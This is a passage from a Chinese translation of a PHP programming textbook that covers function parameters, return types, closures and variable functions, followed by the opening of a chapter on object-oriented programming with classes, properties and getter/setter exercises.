// create two documents and load an XML file in each of them
$document1 = new DomDocument();
$document1->load($pathToXmlFile1);
$document2 = new DomDocument();
$document2->load($pathToXmlFile2);
// group the documents in an array
$documents = [$document1, $document2];
// feed the documents to our function
$processedDocuments = processDocuments(…$documents);
// because the result is a Generator, you could also loop over the 
// result:
foreach(processDocuments(…$documents) as $transformedDocument) {
     // .. do something with it
}

用户定义函数中的参数

当定义一个函数时,你可以为它定义参数。当你定义一个参数时,考虑它是否应该始终是同一类型,或者你是否可以强制使用你代码的开发者始终传递同一类型。例如,当期望整数值时,使用 int 类型的类型提示是一个好主意。即使开发者传递 2,这是一个字符串,他们也可以很容易地被教育在传递给函数之前将其转换为整数,使用 (int) "2"。更现实的情况是,2 会被存储在一个变量中。所以,现在你有一个类型提示:

int

接下来,你应该为你的参数想出一个好的名字。理想情况下,它应该是描述性的,但不要太长。当你期望一个 DomDocument 对象时,$domDocument$xmlDocument 或简单地 $document 可以是合适的名字,而 $doc 可能对一些人来说太短且容易混淆,而 $d 则太糟糕:

int $offset

$offset 的默认值有意义吗?在大多数情况下,它将是 0,因为我们通常在某个事物的开始处启动一个过程。所以,在这种情况下,0 将是一个很好的默认值:

int $offset = 0

现在我们有一个类型提示为 int 且默认值为 0 的参数。该参数现在是可选的,并且应该在非可选参数之后定义。

如果无法期望参数始终是同一类型,则在函数中处理它可能更困难,因为你可能需要检查其类型以决定如何处理它。这使得对函数进行单元测试更困难,如果出现问题,它还会使故障查找复杂化,因为你的代码将根据输入类型具有多个执行路径。

当一个参数以 & 前缀开头时,这意味着如果传递一个标量,它将通过引用传递,而不是作为副本或字面量。对象总是通过引用传递,因此,在对象参数上使用 & 是多余的,并且不会改变函数的行为。

用户定义函数中的返回类型

返回类型以冒号后跟类型名称的形式编写。返回类型是在 PHP 7 中引入的。这使得你的代码更加健壮,因为你更明确地知道你期望从函数中得到什么,这可以在编译时进行检查,而不是在运行时出错时失败,这可能在生产环境中发生。如果你使用 IDE,它将在返回类型与实际返回或期望的内容不匹配时警告你。这意味着你可以在错误影响你的用户之前纠正错误。

在前面的例子中,processDocuments 函数的返回类型是 GeneratorGenerator 类型生成值并在可能的情况下尽快提供它们。这可以非常高效:你不需要等待所有值都可用才开始进一步处理。你可以在 Generator 类型产生第一个值时立即开始进一步处理。每次使用 yield 语言结构时,Generator 类型都会产生一个值。

yield 在 PHP 5 中被引入。在撰写本文时,我们处于 PHP 7.3,仍然有许多开发者从未使用过 yield 或甚至不知道它是什么。例如,当你处理数组或数据库中的记录,并且需要极端性能时,考虑你是否有一个适用于 Generator 类型的用例。

你可以使用 void 作为返回类型来表示函数没有返回任何内容。

签名

函数声明的一部分被称为 签名

([typeHint [&]$parameter1[= defaultValue], [&]$p2, …])[: returnType]

因此,函数的签名定义了它的参数和返回类型。

返回值

函数可能返回一个值或没有。当函数不返回任何内容,甚至不是 null 时,从 PHP 7.1 开始,返回类型可以是 void。通过键入 return 后跟你想返回的内容来返回值。这可以是任何有效的表达式,也可以是一个单独的变量或字面量:

return true;
return 1 < $var;
return 42;
return $documents;
return; // return type will be "void" if specified
return null; // return type must be nullable if specified

参数和参数

函数接受参数。参数是一个字面量、变量、对象,甚至是可调用的,你将其传递给函数以便函数可以对其操作。如果参数在参数的位置被定义,你可以在函数内部使用参数的名称来使用该参数。参数的数量可能是可变的或固定的。PHP 允许你传递比函数签名定义的更多参数。如果你想使用动态参数,PHP 有两个内置函数可以实现这一点;你可以使用 func_num_args() 获取参数的数量,以及使用 func_get_args() 获取参数本身。为了展示这些函数的实际应用,我们将查看一个例子。

这里是一个使用 func_num_args() 的例子。在这个例子中,我们定义了一个没有任何预定义参数/参数的方法。但是,使用内置的 func_num_args 函数,我们将能够计算传递了多少个参数/参数:

function argCounter() {
   $numOfArgs = func_num_args();
    echo "You passed $numOfArgs arg(s)";
}
argCounter(1,2,3,4,5);

输出如下:

You passed 5 arg(s)

现在我们能够计算参数的数量,我们可以将此函数与func_get_args()结合使用来循环查看传递了什么。以下是一个使用func_get_args()的示例:

function dynamicArgs(){
     $count = func_num_args();
     $arguments = func_get_args();
     if($count > 0){
           for($i = 0; $i < $count; $i++){
                echo "Argument $i: $arguments[$i]";
                echo PHP_EOL;
           }
     }
}
dynamicArgs(1,2,3,4,5);

输出如下:

Argument 0: 1
Argument 1: 2
Argument 2: 3
Argument 3: 4
Argument 4: 5

可选参数

当函数为它们定义了默认值时,函数参数是可选的:

function sayHello($name = 'John') {
    return "Hello $name";
}

此函数定义了一个参数$name,默认值为John。这意味着在调用函数时,你不需要提供$name参数。我们说$name参数是可选的。如果你不提供$name参数,John仍然会被传递给$name参数。可选参数应该在函数签名中定义在最后,因为否则,如果任何必需参数在可选参数之后,你仍然需要在调用函数时提供可选参数。

示例在function-with-default-value.php中。各种用法在TestSayHello.php单元测试中有文档说明。

通过引用传递给我们的函数的参数

记得countMe函数吗?它使用一个名为$count的全局变量来跟踪函数被调用的次数。这也可以通过引用传递$count变量来实现,这比在函数内部污染全局作用域稍微好一些:

<?php
function countMeByReference(int &$count): void
{
    $count++;
}

在同一脚本中进一步使用它,如下所示:

$count = 0;
countMeByReference($count);
countMeByReference($count);
countMeByReference($count);
echo $count; // will print 3

请注意,在定义的地方调用方法非常适合练习和玩代码,也适合简单的脚本,但实际上这样做违反了 PSR-1。这是一个编码约定,指出文件要么定义函数(不产生副作用),要么使用它们(产生副作用)。

参数的默认值

在以下示例中,我们展示了默认值的使用。通过定义默认值,你给使用该函数的开发者提供了使用该函数而不必传递他们自己的值的能力。

考虑以下示例:

/**
 * @param string $systemTempDirectory
 * @return string
 */
function determineOutputDirectory(string $systemTempDirectory = '/tmp'): string
{
    return $systemTempDirectory . DIRECTORY_SEPARATOR . 'output';
}

在括号内是函数签名,它由一个参数$systemTempDirectory组成,类型提示为string,默认值为/tmp。这意味着如果你在函数调用中传递一个目录,它必须是一个字符串。如果你不传递参数,将使用默认值。

练习 4.5:编写一个加法函数

现在你已经阅读了一些关于编写你自己的函数的理论,让我们开始实际编写一些自己的函数。在这个练习中,我们将创建一个简单的函数,用于将两个数字相加并打印其和:

  1. Chapter04/exercises/中找到add.php文件。

  2. 在文件中开始键入以下注释并键入函数模板:

    <?php
    function add($param1, $param2): string
    {
    }
    

    你从function关键字开始;然后是函数名,add;左大括号;$param1$param2参数;右大括号;冒号来宣布返回类型;返回类型,string;最后是函数体,{}

  3. 在函数体内,使用is_numeric()检查参数是否为数值。这个内置函数如果其参数表示一个数值(即使其类型是string),则返回true。所以,它会对230.14510E6等返回true。后者是 1,000,000 的科学记数法:

    if (false === is_numeric($param1)) {
        throw new DomainException('$param1 should be numeric.');
    }
    if (false === is_numeric($param2)) {
        throw new DomainException('$param2 should be numeric.');
    }
    

    当值不是数字且无法相加时,我们会抛出一个异常。现在不用担心异常,它们将在下一章中解释。

  4. 现在你已经可以确信这两个值都是数值,并且可以相加而不会出现意外结果,现在是实际相加它们的时候了。继续在函数体内输入:

    $sum = $param1 + $param2;
    
  5. 现在是时候编写请求的消息了。在下一行,输入以下内容:

    return "The sum of $param1 and $param2 is: $sum";
    

    你在这里看到的是称为$param1$param2$sum的变量,它们将被扩展成字符串句子。它们也将自动转换为字符串。

  6. 字符串插值,虽然非常快,但对于 PHP 解析器来说仍然是一个相对昂贵的操作。如果你需要在一个每个纳秒都很重要的用例中最大化性能,那么使用字符串连接会更好,因为它更快。以下是使用字符串连接编写的相同行:

    return 'The sum of ' . $param1 . ' and ' . $param2 ' . '  is: ' . $sum;
    

    点(.)是字符串连接运算符。它将两个字符串粘合在一起。在连接发生之前,其他类型的值将自动转换为字符串。

  7. 现在你可以在函数后面写以下内容:

    echo add(1, 2);
    
  8. 添加换行以使输出更清晰:

    echo PHP_EOL;
    
  9. exercises目录运行脚本:

    php add.php
    

    输出如下:

![图 4.15:打印求和结果图片

图 4.15:打印求和结果

在这个练习中,你学习了如何验证和处理函数的参数,以及如何格式化和返回一些输出。你还学习了如何使用 PHP 进行一些非常简单的数学运算。

变量函数

如果你将函数名存储在一个变量中,你可以将这个变量作为函数来调用。以下是一个示例:

$callable = 'strtolower';
echo $callable('Foo'); // will print foo;

这不仅限于内置函数。实际上,你可以用你自己的函数做同样的事情。

匿名函数

这些是没有标识符的函数(参考以下语法)。它们可以被传递给任何接受可调用对象作为输入的函数。考虑以下示例:

function(float $value): int{
    if (0 <= $value) {
        return -1; // this is called an early return
    }
    return 1;
}

前面的是一个匿名函数,也称为闭包。它没有名字,所以不能通过名字来调用,但它可以被传递给另一个接受可调用对象作为输入的函数。

如果你想要调用匿名函数,有两种方法可以实现这一点:

echo (function(float $value): int{
    if (0 <= $value) {
        return 1;
    }
    return -1;
})(2.3);

在前面的例子中,函数被创建并立即使用2.3参数调用。返回的输出将是1,因为2.3大于0。然后echo打印输出。在这个设置中,匿名函数只能调用一次——没有引用可以让你再次调用它。

在下一个例子中,函数将被存储在一个名为$callable的变量中。你可以将变量命名为任何你喜欢的名字,只要遵守 PHP 中变量命名的规则:

$callable = function(float $value): int{
    if (0 <= $value) {
        return 1;
    }
    return -1;
}; // here semicolon is added as we assign the function to $callable variable.
echo $callable(-11.4); // will print -1, because -11.4 is less than 0.

在匿名函数内部使用作用域外的变量

如本章之前所述,你可能需要使用在定义的函数作用域之外定义的变量。在下面的练习中,你将看到一个例子,说明我们如何使用use关键字将变量传递给匿名函数。

练习 4.6:处理匿名函数

在这个练习中,我们将声明一个匿名函数并检查其工作方式:

  1. 创建一个名为callable.php的新文件。如下添加你的 PHP 开头标签:

    <?php
    
  2. 然后,定义你想要使用的初始变量:

    $a = 15;
    
  3. 现在定义你的可调用函数并将你的$a变量传递给它:

    $callable = function() use ($a) {
        return $a;
    };
    
  4. 在下一行,让我们给$a赋予一个新的值:

    $a = 'different';
    
  5. 要查看$a的当前值,我们将调用$callable并将其打印到屏幕上:

    echo $callable();
    
  6. 最后,为了可读性,添加一个新行:

    echo PHP_EOL;
    
  7. 我们现在可以使用以下命令在命令行中运行此脚本:

    php callable.php 
    

    输出如下:

    15
    

    那么,这里发生了什么?首先,我们声明一个匿名函数并将其存储在$callable中。我们通过使用use关键字来说明它应该使用$a。然后,我们将$a的值更改为different,调用我们的$callable函数,然后echo结果。结果是15,这是$a的初始值。这是因为当使用use$a导入函数的作用域时,$a将正好按函数创建时的状态使用。

    现在我们使用$a作为引用会发生什么?让我们看看:

    <?
    $a = 15;
    $callable = function() use (&$a) {
        return $a;
    };
    $a = 'different';
    echo $callable(); // outputs 'different'
    // newline for readability
    echo PHP_EOL;
    

    注意这次我们在$a前加上了&。现在输出将是"different"。

由于对象总是通过引用传递,这也应该适用于对象,但这将在另一章中介绍。

练习 4.7:创建变量函数

在这个练习中,我们将创建变量函数并检查它们在 PHP 中的工作方式:

  1. 打开一个文件,并将其命名为variable-hello.php。以 PHP 开头标签开始你的脚本,并将严格类型设置为1

    <?php
    declare(strict_types=1);
    
  2. 声明一个变量来存储函数的值,如下所示:

    $greeting = function(string $name): void 
    {
        echo 'Hello ' . $name;
    };
    

    这就是你需要做的,甚至更多,因为你添加了string类型提示和void返回类型,这两者都是可选的。它们是良好的实践,所以养成使用它们的习惯。请注意,闭包不返回输出。相反,它直接将问候打印到stdOut

  3. 现在继续在variable-hello.php脚本中输入:

    $greeting('Susan');
    
  4. 添加一个换行符:

    echo PHP_EOL;
    
  5. 验证终端上的输出为 Hello Susan

图 4.16:打印输出

图 4.16:打印输出

在这个练习中,你学习了如何使用字符串连接与函数参数以及如何直接从函数中打印输出。虽然这在许多情况下是一种不好的做法,但在其他情况下可能很有用。

练习 4.8:函数的玩耍

在这个练习中,我们将使用一些预定义的函数来了解数据处理和编写我们的处理器,以便它们是可重用的。这个练习的目标是取一个导演和他们的电影数组,并按导演的姓名进行排序。然后我们想要处理这个数组,并打印出第一个名字的首字母大写且姓氏全部大写的导演的姓名。此外,对于电影,我们想要将每个标题大写,用双引号包裹,并用逗号分隔。我们将构建两个函数来处理导演的姓名,另一个函数用于电影。我们将使用三个我们尚未讨论的新内置函数:ksortexplodeimplode。要了解更多关于这些函数的信息,请查阅packt.live/2OxT91A上的文档:

  1. 首先,我们将创建一个名为 activity-functions.php 的新文件,并使用 PHP 开头标签开始我们的脚本:

    <?php
    
  2. 然后,我们将继续定义一个数组,该数组将导演的姓名作为键,将他们的电影列表作为值:

    activity-functions.php
    2  $directors = [
    3      'steven-spielberg' => [
    4          'ET',
    5          'Raiders of the lost ark',
    6          'Saving Private Ryan'
    7      ],
    8      'martin-scorsese' => [
    9          'Ashes and Diamonds',
    10         'The Leopard',
    11         'The River'
    12     ],
    https://packt.live/2p9Zbe6
    
  3. 现在我们将编写我们的第一个函数来处理导演的姓名。记住,我们想要第一个名字的首字母大写,而姓氏将全部大写:

    function processDirectorName($name){
         $nameParts = explode('-', $name);
         $firstname = ucfirst($nameParts[0]);
         $lastname = strtoupper($nameParts[1]);
         return "$firstname $lastname";
    }
    
  4. 接下来,我们将编写一个函数来处理我们的电影字符串。请注意,我们想要将每个电影名称的大写版本包裹起来,并用逗号分隔:

    function processMovies($movies)
    {
        $formattedStrings = [];
        for ($i = 0; $i < count($movies); $i++) {
            $formattedStrings[] = '"' . strtoupper($movies[$i]) . '"';
        }
        return implode(",", $formattedStrings);
    }
    
  5. 最后,我们可以通过数组键对数组进行排序,并遍历处理数组:

    ksort($directors);
    foreach ($directors as $key => $value) {
        echo processDirectorName($key) . ": ";
        echo processMovies($value);
        echo PHP_EOL;
    }
    
  6. 我们现在可以在终端中运行此脚本:

    php activity-functions.php
    

    你应该看到以下输出:

    Felix GARY: "MEN IN BLACK: INTERNATIONAL","THE FATE OF THE FURIOUS","LAW ABIDING CITIZEN"
    Kathryn BIGELOW: "DETROIT","LAST DAYS","THE HURT LOCKER"
    Martin SCORSESE: "ASHES AND DIAMONDS","THE LEOPARD","THE RIVER"
    Steven SPIELBERG: "ET","RAIDERS OF THE LOST ARK","SAVING PRIVATE RYAN"
    

    注意

    输出中截断了 Felix Gary Gray 的第三部分。你能重构代码来修复这个错误吗?

活动 4.1:创建计算器

你正在开发一个基于计算器的网络应用程序。你被提供了所有用户界面代码,但被指示构建实际执行计算的函数。你被指示创建一个单一的可重用函数,用于应用程序中需要的所有计算。

以下步骤将帮助您完成活动:

  1. 创建一个函数,该函数将计算并返回输入数字的阶乘。

  2. 创建一个函数,该函数将返回输入数字(可变数量的参数)的总和。

  3. 创建一个函数,该函数将评估 $number 输入,该输入必须是整数,并将返回该数字是否为素数。该函数的返回类型是布尔值 (bool)。

  4. 创建一个基本的performOperation函数,该函数将处理预定义的数学运算。performOperation函数的第一个参数必须是一个字符串,可以是"factorial"、"sum"或"prime"。其余参数作为参数传递给被调用的数学函数。

    注意

    阶乘是一个整数与其所有小于它的整数的乘积。

输出应类似于以下内容。输出值将取决于你输入的数字:

![图 4.17:预期输出img/C14196_04_17.jpg

图 4.17:预期输出

注意

本活动的解决方案可以在第 511 页找到。

摘要

在本章中,你学习了如何使用 PHP 内置的函数来完成许多其他情况下需要编写大量代码才能快速完成的任务。你还学习了编写自己函数的各种方法:带参数和不带参数,使用默认值或不使用默认值,甚至带有不同数量的参数。你了解了纯函数(不干涉全局作用域的函数)与具有副作用(因为它们从全局作用域中拉取变量或通过引用接收参数并更改它们)的函数之间的区别。你学习了可以通过名称或作为存储在变量中的可调用对象来调用函数,可以是匿名调用或命名调用。希望你已经尝到了函数的灵活性和强大功能,以及它们如何通过强制严格类型来帮助你编写健壮的代码。

在下一章中,你将学习如何将逻辑上属于一起的常量、变量和函数组合成对象。这将使你的代码组织达到更高的层次,并通过限制对象中变量和函数的访问级别,将信息隐藏提升到新的水平。请记住,我们称存在于对象属性上的变量为属性变量,称存在于对象上的函数为方法,而存在于对象上的常量称为类常量。尽管它们的名称不同,但它们的行为非常相似,因此你将能够重用本章中学到的所有内容。

第五章:5. 面向对象编程

概述

到本章结束时,你将能够声明具有常量、属性和方法类的类;实例化一个类;处理构造函数和析构函数;实现类继承、访问修饰符、静态字段和方法;使用类类型提示作为依赖注入;使用属性和方法重写;通过魔术方法应用属性和方法重载;使用最终类和方法;自动加载类;以及使用特性和应用命名空间。

总结来说,我们将探讨可以用来编写模块化代码的面向对象编程OOP)概念。

简介

为了理解面向对象编程OOP)方法,我们首先应该讨论过程式编程方法。过程式方法是在高级语言中编写代码的传统方式,其中问题被视为一系列要执行的事情,如行走、吃饭、阅读等。可以编写多个函数来完成这些任务。过程式方法将一组计算机指令组织成称为过程(也称为函数)的组。因此,函数是代码中的第一公民。当我们如此关注函数时,随之而来的是数据得到的关注较少。

在多函数程序中,尽管函数可以包含局部数据,但许多重要数据被定义为全局数据。多个函数可能会操作这样的全局数据,因此数据可能会变得脆弱。此外,这种方法可能不会建立一个安全的方式来使用函数与数据交互。

以下图展示了函数如何操作全局数据以及它们如何相互交互:

![图 5.1:过程式方法中的数据和函数图片

图 5.1:过程式方法中的数据和函数

现在,面向对象的方法提供了一系列不同的方式来保护数据,通过将数据与函数更紧密地绑定,从而防止外部函数对数据的意外修改。这种方法本质上允许我们将一个大问题分解成称为对象的小实体,并将数据和函数打包到这样的对象中。以下图展示了数据和函数是如何组织到对象中的:

![图 5.2:面向对象方法中的数据和函数图片

图 5.2:面向对象方法中的数据和函数

一种编程方法应该解决主要问题,例如如何在程序中表示现实生活中的问题实体,如何设计具有标准接口的程序以与函数交互,如何将程序组织成多个模块以便以后重用和扩展,如何向这些模块添加新功能,等等。面向对象的方法是为了解决这些问题而开发的。

面向对象方法

在编程中,一个可描述的事物,具有一组特定的动作,可以被称为对象。一个对象可能代表一个具有一定数量动作执行的现实生活实体。可以用某些状态来描述狗,如颜色、品种、年龄等,并执行某些动作,如吠叫、奔跑、摇尾巴等。台式风扇可以用颜色、速度、方向等来描述,并执行改变速度、改变方向、旋转等动作。

在面向对象编程中,数据和代码被捆绑成一个实体,称为对象。对象之间相互交互。考虑一个教师对象和一个学生对象。教师可能有一些科目可以提供,学生可能注册这些科目。因此,如果我们考虑注册是学生的一个动作,那么学生对象可能需要与教师对象就可用科目进行交互,并注册一个或多个科目。简单来说,对象是执行动作的数据。

将代码打包成对象有其自身的好处,例如你的代码库变得更加模块化,这意味着你可以单独针对对象进行维护、重用和调试。对象的实现(代码)对外界是隐藏的,这意味着我们可以隐藏我们的数据和内部复杂性,并且可以通过一套标准的程序与对象交互。例如,为了使用台式风扇,你不需要了解交流电机或电子电路;相反,你可以通过提供的行为来使用台式风扇,例如速度控制按钮或旋转控制。因此,隐藏此类信息是面向对象编程的另一个重要方面。

这种代码打包也区分了面向对象编程和过程式编程。一个对象简单地包含属性,也称为数据,以及一些与该对象通信的方法。这些方法是过程式编程的功能。在面向对象编程中,这些方法中的一些可以用来与该对象交互,因此这些方法构成了它的接口。

有许多著名的编程语言支持面向对象编程,例如 C++、Java、PHP、Python、C#、JavaScript、Ruby、Dart、Swift、Objective-C 等等。自从 PHP 引入其最新版本以来,PHP 支持完整的面向对象模型。PHP 支持基于类的对象初始化、构造函数和析构函数、继承、属性可见性、多态、抽象和最终类、静态字段和方法、匿名类、接口、命名空间、魔术方法、对象克隆、对象比较、类型提示、特性等许多有趣的面向对象技术和工具。我们将在本章中讨论它们,并使用不同的示例来实践面向对象编程的概念。

面向对象概念

面向对象的方法使用以下列表中给出的通用概念来解决编程问题。在本章中,我们将详细讨论这些概念,并通过一系列练习来实践它们,以便在章节结束时,我们将习惯于使用这些概念:

  • 对象是有数据和接口的实体。它们可能代表一个人、一辆车、一个电风扇,或者可能是一个在我们的程序中扮演角色的银行账户。数据和函数(或方法)共同存在于一个对象中。

  • 类是对象创建的模板。数据是对象的描述,而函数是那个对象的行为,因此可以使用类来编写数据和方法的定义。类可以被称为自定义数据类型。

  • 数据封装是将数据和函数封装成一个单一单元——即类。想象一个不可穿透的胶囊,其中封装着数据和函数,这样外部世界就不能访问数据,除非我们为它们提供访问方法。这种将数据从程序直接访问中隔离出来的过程称为数据隐藏。简而言之,声明一个类就是数据的封装。

  • 数据抽象是不提供细节而表示基本属性和特征的行为。因此,整个实体描述保持抽象,详细描述实体的责任可以通过实体创建过程或继承来完成。这种抽象使得每个人都可以“遵循指南,按自己的方式行事。”

  • 继承是获取另一个类的属性和行为的过程,这样就可以以分层的方式重用共同的属性和行为。

  • 多态是使用相同定义进行多个目的的概念。例如,飞行是一种多态行为,因为鸟类和飞机有它们自己不同的飞行方式。

  • 动态绑定是将函数调用与响应函数调用的代码链接起来的过程。有了这个概念,与给定函数关联的代码在运行时调用之前是未知的。比如说,多个对象以不同的方式实现了同一个函数,在运行时,与被引用的对象匹配的代码会被调用。

  • 消息传递是对象之间交互的方式。它涉及指定对象名称、方法名称和要发送的信息。例如,如果一辆车是一个对象,改变速度是它上面的一个方法,每小时千米数是传递的速度参数。外部世界将使用汽车对象将“改变速度”的消息发送给该参数。

图 5.3 使用车辆类比来展示前面的概念:

图 5.3:车辆属性继承图

图 5.3:车辆属性继承图

有许多不同类型的车辆,例如汽车、公共汽车、摩托车、飞机等等。车辆具有一般属性,如制造商、型号、颜色、车轮、发动机大小等。这些是车辆子类型或类中常见的属性。由于汽车、公共汽车、摩托车等共享一个共同的属性列表,这些共同的属性和行为来自父类,每个子类都添加它自己的属性和行为。例如,汽车有四个车轮,摩托车是两轮车,汽车比摩托车有更多的乘客容量,等等。因此,这种车辆类型的偏差应该放置在其自己的车辆子类中。因此,我们可以继承共同的属性,并逐步添加我们自己的属性,使用面向对象的概念。

类是对象的蓝图。一个对象应该包含哪些数据以及需要哪些方法来访问这些数据可以使用类来描述。类充当对象创建的模板。考虑使用蓝图作为指南设计的汽车。车辆类型、制造商、型号、发动机大小、颜色等都在 Car 类中定义,以及检索这些信息的方法,例如获取型号名称、启动发动机等。

一个类以 class 关键字开始,后跟给定的名称,并用一对花括号括起来的主体。类的主体包含类成员,它们是变量、常量、函数、类变量(也称为类属性或类属性),以及属于类的函数,称为类方法。

查看以下类声明:

class ClassName 
{
    // Class body
}
//or 
class ClassName 
{
    // Class variables declarations
    // Class methods declarations
}

类名以字母或下划线开头,后跟任意数量的字母数字字符和下划线。PHP 的预定义类名、常量和保留关键字(例如,breakelsefunctionfornew 等)不能用作类名。

PHP 中保留字列表可以在 packt.live/2M3QL1d 找到。

在 PHP 标准建议中,PSR-1 建议类名以 CamelizedClassName 声明,类方法以 camelizedMethodName 声明。注意 类名 的驼峰式命名和在每个方法名开头使用小写字母。

要了解更多关于 PSR-1:基本编码标准的信息,请访问 packt.live/2IBLprS

让我们查看以下简单的 Person 类:

class Person 
{
    public $name = 'John Doe';
    function sayHello() 
    {
        echo 'Hello!';
    }
}

在这里,class Person {…}Person 类的声明。通过添加一行 public $name = 'John Doe'; 添加了一个属性,并且主体还包含了 sayHello() 成员方法,该方法会打印一个简单的字符串。

在下一节中,我们将讨论我们应该如何实例化一个类,以及当我们执行此类实例化时内存中会发生什么。

实例化一个类

一个对象是一个类的实例,因此实例化一个类意味着使用该类创建一个新的对象。我们可以使用new关键字来实例化一个类,如下所示:

$object = new MySimpleClass();

在实例化过程中,一个对象在内存中创建,并包含其自身的属性副本。在这里,$object变量并不持有实际的对象;相反,它指向该对象。为了明确起见,$object变量是对象的指针,并不持有对象的引用。

$object变量应该是MySimpleClass类型,因为类通常被称为自定义数据类型。然后,如果声明了构造方法,构造方法会自动调用。类构造器和析构器是两种特殊的方法;例如,__construct()__destruct(),它们分别在对象创建和删除时自动调用。

要访问对象的属性和方法,我们可以使用->对象操作符,如下所示:

$object->propertyName;
$object->methodName();

因此,对象的创建涉及内存分配,然后自动调用构造方法。我们将在后面的章节中讨论构造方法和析构方法。

类属性

正如我们已经看到的,类的属性和变量持有数据。要在 PHP 中编写类属性,我们需要从publicprivateprotected关键字开始,然后是其余的一般 PHP 变量赋值语句。在先前的Person类示例中,public $name = 'John Doe';这一行被用来分配一个人的名字;在这里,public关键字是一个访问修饰符或类成员可见性关键字,它已经被用来确保属性可以在类外部被访问。我们将在后面的章节中详细讨论访问修饰符。

注意,类结构在 PHP 文件执行之前被编译。关于类属性的值赋值,值应该是静态的,这意味着值不能依赖于运行时。例如,以下类属性将不会工作:

public $date = getdate();
public $sum = $a + $b;

在这里,属性分别依赖于getdate()函数的返回值和算术表达式评估,分别作为函数调用和算术表达式评估,这些都不会在类的编译时执行,而可以在运行时评估,因此这样的变量初始化在类属性的情况下不会工作。

因此,不涉及运行时信息的类属性应该被视为好的属性,例如以下内容:

public $num = 10;
public $str = 'I am a String';
public $arr = array('Apple', 'Mango', 'Banana');

在这里,前面的变量可以在编译时而不是在运行时评估。

非静态类属性——例如,publicprivateprotected属性——可以通过使用$this对象上下文引用变量和->对象操作符来访问,如下所示:

class Person 
{
    public $name = 'John Doe';
    function printName() 
    {
        echo $this->name;
    }
}

此外,静态属性可以用 static 关键字在变量声明开始处编写,并且可以使用 self 关键字后跟 ::(双冒号)操作符来访问。双冒号也称为范围操作符:

class Person 
{
    public static $name = 'John Doe';
    function printName() 
    {
        echo self::$name;
    }
}

关于访问修饰符和静态属性的更多内容可以在后面的章节中找到。

类常量

类特定的常量(在整个程序中不改变的固定值)可以写在类内部,如下面的示例所示:

class SampleClass 
{
    const ONE = 1;
    const NAME = 'John Doe';
}
echo SampleClass::ONE; //1
echo SampleClass::NAME; //John Doe

注意,类常量不使用 $ 符号,就像变量声明中使用的那样,并且所有字母都是大写。常量的默认可见性是 public,并且可以从类外部使用 :: 范围操作符来访问。

注意

根据 PHP 标准建议,PSR-1,“类常量必须全部大写,使用下划线分隔。”你可以在 packt.live/2IBLprS 上了解更多信息。

类常量只为单个类分配内存,而不是为每个类实例分配。

此外,你可以在类内部使用 self:: 来使用此类常量,如下所示:

class SampleClass 
{
    const ONE = 1;
    const NAME = 'John Doe';
    function printName()
    {
        echo self::NAME;
    }
}
echo SampleClass::NAME; //John Doe

self:: 操作符只能在类内部使用。自 PHP 5.6.0 版本以来,已添加了常量表达式,如下所示:

class SampleClass 
{
    const ONE = 1;
    const SUM = self::ONE + 2;
}
echo SampleClass::SUM;//3

类常量也支持访问修饰符;例如,publicprivate 等,这些将在 访问修饰符 部分进行演示。

你可以在 PHP 接口中使用此类常量,这是另一种面向对象编程工具,用于建立公共接口或类应该实现的规范。

$this 变量

$this 是在对象上下文中调用类成员变量或方法时可用的一个伪变量。当实例化一个类后,$this 就可以使用来访问相应对象的成员。因此,在对象上下文中访问一个属性时,我们使用 $this->attribute_name,访问方法时使用 $this->methodName()

注意

例如,在类中声明的 $name 属性应该使用 $this->name 来访问,而不是使用 $this->$name。请注意这里的 $ 符号。

类方法

类方法只是函数,并且像包装器一样作用于分配给属性的类数据。获取器和设置器是分别获取和分配数据的两种最常见方式。这两种方法只是简单地从和向成员变量返回和分配数据。我们可能希望使用 getset 前缀以及我们选择的快速描述性方法名称来前缀获取器和设置器方法;例如,getMyValue()setMyValue()。尽管这不是必需的,但这种做法可以提高代码的可读性。

查看以下获取器和设置器方法示例:

class Person 
{
    public $name;
    function getName()
    {
        return $this->name;
    }
    function setName()
    {
        $this->name = 'John Doe';
    }
}

在这里,此类成员方法的关键概念是为对象中可用的数据提供一个包装器。

除了这些,还可以使用另一种类型的方法,它根据对象内部可用的数据执行某些操作或执行:

Person.php
17     function sayGreetings()
18     {
19         if (date('G') < 12)
20         {
21             $greetings = 'Good Morning';
22         } 
23         elseif (date('G') < 17) 
24         {
25             $greetings = 'Good Afternoon';
26         } 
27         else 
28         {
29             $greetings = 'Good Evening';
30         }
https://packt.live/2IDp7G4

在这里,sayGreetings() 方法可以是实现识别当前小时并将问候字符串加载到局部变量的成员方法的示例,然后稍后使用分配给 $name 的给定属性值打印问候字符串。该方法用于打印问候语——例如,'Good Morning John Doe''Good Afternoon John Doe''Good Evening John Doe'——基于由 date('G') 函数返回的 24 小时制当前小时。

我们还有一些管理方法,如构造函数和析构函数,分别用于初始化对象的属性和清理对象使用的内存。在后面的章节中,我们将详细讨论它们。

练习 5.1:使用获取和设置方法

在以下练习中,你将声明一个具有型号、型号、颜色和轮子数量等属性的 Vehicle 类。此外,为了访问和操作这些给定的属性,我们将声明一些方法,例如获取型号名称、获取发动机编号、获取轮子数量等:

  1. 创建一个名为 Vehicle.php 的 PHP 文件,并声明具有以下属性的 Vehicle 类:

    <?php
    class Vehicle 
    {
        public $make = 'DefaultMake';
        public $model = 'DefaultModel';
        public $color = 'DefaultColor';
        public $noOfWheels = 0; 
        public $engineNumber = 'XXXXXXXX';
    }
    

    使用型号、型号、颜色、轮子数量和发动机编号来描述 Vehicle 对象。在这里,我们将有关车辆的数据添加为类属性。由于不同类型的数据可以打包在类内部,我们的 Vehicle 类可以充当自定义数据类型。就像前面的类一样,我们可以根据面向对象的概念封装大量关于对象的元数据。

    注意,分配给类属性的值不依赖于运行时;它们可以轻松地在编译时分配。所有这些都是不同类型的数据,并且由于它们使用公共访问修饰符,因此可以从类外部访问或可见。

  2. 现在是时候向类添加成员方法了。根据我们的练习目标,我们需要了解有关车辆轮子数量、发动机编号、型号和颜色等信息。为了获取这些信息,我们将在属性部分之后添加以下五个方法:

    Vehicle.php
    9      function getMake()
    10     {
    11         return $this->make;
    12     }
    13     function getModel()
    14     {
    15         return $this->model;
    16     }
    17     function getColor()
    18     {
    19         return $this->color;
    20     }
    https://packt.live/2VwyVHi
    

    在这里,我们添加了五个获取方法:getMake() 返回公司名称/型号,getModel() 返回型号名称,getColor() 返回颜色名称,getNoOfWheels() 返回车辆拥有的轮子数量,而 getEngineNumber() 返回发动机编号。所有这些方法执行起来都很简单,它们使用 $this 访问属性以返回值。

  3. 要设置车辆的型号、型号、颜色、轮子数量和发动机编号,我们需要设置方法。现在,让我们在前面五个获取方法之后添加相应的设置方法:

    Vehicle.php
